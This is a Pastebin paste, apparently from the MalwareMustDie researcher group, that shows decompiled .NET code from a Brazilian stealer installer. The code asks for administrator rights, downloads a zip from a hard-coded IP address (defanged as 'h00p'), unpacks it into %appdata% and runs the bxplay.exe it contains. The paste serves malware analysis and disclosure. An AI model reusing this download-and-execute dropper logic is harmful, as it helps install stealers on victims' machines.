MalwareMustDie

Brazil stealer installer vb.net

Jan 30th, 2016
684
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.79 KB | None | 0 0
  1. // brazil crooks malware vb.net #malwaremustdie - @unixfreaxjp
  2.  
  3. [DefaultSettingValue("h00p://23.105.132.120/new.zip"), UserScopedSetting, DebuggerNonUserCode]
  4.   public string duk
  5.      { get { return Conversions.ToString(this["duk"]); }set{this["duk"] = value;} }
  6.    public Form2()
  7.      { base.Load += new EventHandler(this.Form2_Load);this.shObj = RuntimeHelpers.\
  8.           GetObjectValue(Activator.CreateInstance(Type.GetTypeFromProgID("Shell.Application")));
  9.       this.bode = Environment.ExpandEnvironmentVariables("%appdata%");this.InitializeComponent() }
  10. try
  11.     {   ProcessStartInfo arg_12_0 = new ProcessStartInfo();
  12.     new Process();
  13.     arg_12_0.UseShellExecute = true;
  14.     arg_12_0.FileName = Application.ExecutablePath;
  15.     arg_12_0.WindowStyle = ProcessWindowStyle.Normal;
  16.     arg_12_0.Verb = "runas";
  17.     Process.Start(arg_12_0);
  18.     Application.Exit();
  19.     return; }
  20. catch (Exception expr_48)
  21.     {  ProjectData.SetProjectError(expr_48);
  22.     this.BackgroundWorker1_DoWork(null, null);
  23.     Application.Exit();
  24.     ProjectData.ClearProjectError();
  25.     return;}
  26. byte[] array = new WebClient().DownloadData(MySettingsProperty.Settings.duk);
  27. if (File.Exists(this.bode + "\\" + MySettingsProperty.Settings.dok + "\\bxplay.exe"))
  28.        {Application.Exit();}}
  29. if (!Directory.Exists(this.bode + "\\" + MySettingsProperty.Settings.dok))
  30.        {Directory.CreateDirectory(this.bode + "\\" + MySettingsProperty.Settings.dok);}
  31.     FileStream expr_10C = new FileStream(this.bode + "\\" + MySettingsProperty.Settings.dok + "\\jk.zip", FileMode.Create);
  32.     expr_10C.Write(array, 0, array.Length);
  33.     expr_10C.Close();
  34.     this.Focker();
  35.     Thread.Sleep(1000);
  36.     File.Delete(this.bode + "\\" + MySettingsProperty.Settings.dok + "\\jk.zip");
  37.     Process.Start(this.bode + "\\" + MySettingsProperty.Settings.dok + "\\bxplay.exe");
  38.     Application.Exit();
Add Comment
Please, Sign In to add comment